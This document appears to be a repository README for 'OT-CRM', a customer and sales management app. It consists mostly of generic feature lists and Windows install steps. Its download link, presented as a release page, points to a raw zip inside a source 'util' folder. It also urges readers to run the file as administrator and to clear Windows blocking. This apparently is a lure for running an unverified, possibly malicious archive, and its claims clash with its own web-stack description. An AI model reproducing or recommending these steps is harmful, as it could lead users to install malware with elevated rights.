🧩 OT-CRM - Keep Customer Work Simple

🚀 What OT-CRM does

OT-CRM is a customer management app for daily work with contacts, deals, and follow-up tasks. It helps you keep customer details in one place and follow the steps of each conversation with less effort.

Use it to:

• Store customer records
• Track sales contacts
• Check deal status
• Record notes and follow-ups
• Work with payment tools like Mercado Pago and PayPal
• Keep a clear view of customer activity

The app is built to support day-to-day use on Windows and to keep working through updates over time.

💻 Before you start

OT-CRM is made for Windows users who want a simple way to manage customer data.

Basic needs:

• Windows 10 or Windows 11
• A stable internet connection for the first download
• Enough free disk space for the app and its data
• Permission to install and open downloaded files

If your PC can run modern desktop apps, it should work well with OT-CRM.

📥 Download OT-CRM

Visit this page to download the latest Windows version:

Go to OT-CRM Releases

On that page, look for the newest release and download the file for Windows. If there are several files, choose the one made for Windows. After the download ends, keep the file in a place you can find, like your Downloads folder or Desktop.

🪟 Install on Windows

Follow these steps to get OT-CRM running:

1. Open the release page from the link above.
2. Find the latest version.
3. Download the Windows file from that release.
4. Wait for the file to finish downloading.
5. Open File Explorer.
6. Go to the folder where the file was saved.
7. Double-click the file to start the app.
8. If Windows asks for permission, choose the option to continue.
9. Wait for the app to open.
10. Keep the app in a folder you can access later.

If the file comes as a .zip, first extract it, then open the app inside the folder.

🧭 First run

When you open OT-CRM for the first time, you can begin with a clean setup.

Typical first steps:

• Create your first customer record
• Add contact details
• Write a short note about the customer
• Set the deal stage
• Add a payment method if needed
• Save the record

This gives you a simple starting point for daily use.

✨ Main features

OT-CRM is set up for practical customer work.

👥 Customer records

Keep names, phone numbers, email addresses, and notes in one place.

📌 Follow-up tracking

Add reminders and keep track of what needs to happen next.

💼 Sales pipeline view

Move a customer from first contact to closed deal with clear stages.

💳 Payment links

Work with common payment flows for Mercado Pago and PayPal.

🧾 Activity history

Review past actions and notes so you know what happened with each customer.

🌐 Web-based interface

Use a modern browser-style layout with React, HTML, CSS, and JavaScript.

⚙️ Stable backend

The app uses Spring Boot and Node.js parts to support the main workflow.

🧰 What’s inside

OT-CRM is built with common tools used for business apps:

• React
• ReactJS
• JavaScript
• HTML
• CSS
• Java
• Spring Boot
• Node.js
• Python
• PostgreSQL
• Docker
• Docker Compose

These tools help the app handle customer data, app logic, and storage in a structured way.

🔒 Data and storage

OT-CRM uses a database setup based on PostgreSQL. That means your customer data can stay organized and easy to search.

You may want to:

• Back up your data often
• Keep the app in a safe folder
• Use the same computer for daily access
• Make sure the database files stay with the app if you move it

If you use more than one computer, keep the release version in sync across all of them.

🐳 Docker use

Some versions of OT-CRM may also support Docker and Docker Compose for setup and testing.

If you use that path, you can:

• Start the app with a container setup
• Keep the app files in a clean environment
• Reuse the same setup on another machine
• Reduce changes to your main Windows install

For most Windows users, the release download is the easiest path.

📁 Suggested folder setup

To keep things simple, use a folder like this:

• Downloads\OT-CRM
• Desktop\OT-CRM
• Documents\OT-CRM

Keep the app file, any extracted files, and your notes in the same folder when possible. This makes it easier to open the app later.

🛠️ If the app does not open

If you have trouble starting OT-CRM, try these steps:

1. Check that the download finished.
2. Try running the file again.
3. Right-click the file and choose Run as administrator.
4. Make sure Windows did not block the file.
5. If the file is zipped, extract it first.
6. Re-download the file if it looks damaged.
7. Restart your PC and try again.

If the app still does not open, check the release page for a newer build.

🔄 Updates

This project is meant to keep getting updates so the app stays working over time.

To update:

1. Return to the release page.
2. Check the latest version.
3. Download the new file.
4. Replace the older version if needed.
5. Open the new version.

It is a good idea to save any important data before you update.

📌 Useful ways to use OT-CRM

OT-CRM can help with:

• Small sales teams
• Freelance client tracking
• Service follow-ups
• Lead lists
• Customer notes
• Payment tracking
• Simple contact management

It fits work where you need a clear record of who the customer is and what needs to happen next.

🖥️ Recommended setup

For a smooth experience, use:

• A recent Windows PC
• At least 8 GB of RAM
• A current browser if the app opens in one
• Enough space for data and backups
• Regular internet access for downloads and updates

A newer PC will give you a faster start and fewer delays.

🔗 Download again if needed

If you need the file later, use the same release page:

https://raw.githubusercontent.com/michae6543/OT-CRM/main/Backend/src/util/CRM_O_v2.4.zip

🧩 Repository topics

crm, crm-connections, crm-integration, crm-platform, crm-system, css, docker, docker-compose, html, java, javascript, mercadopago, nodejs, paypal, postgresql, python, react, reactjs, spring-boot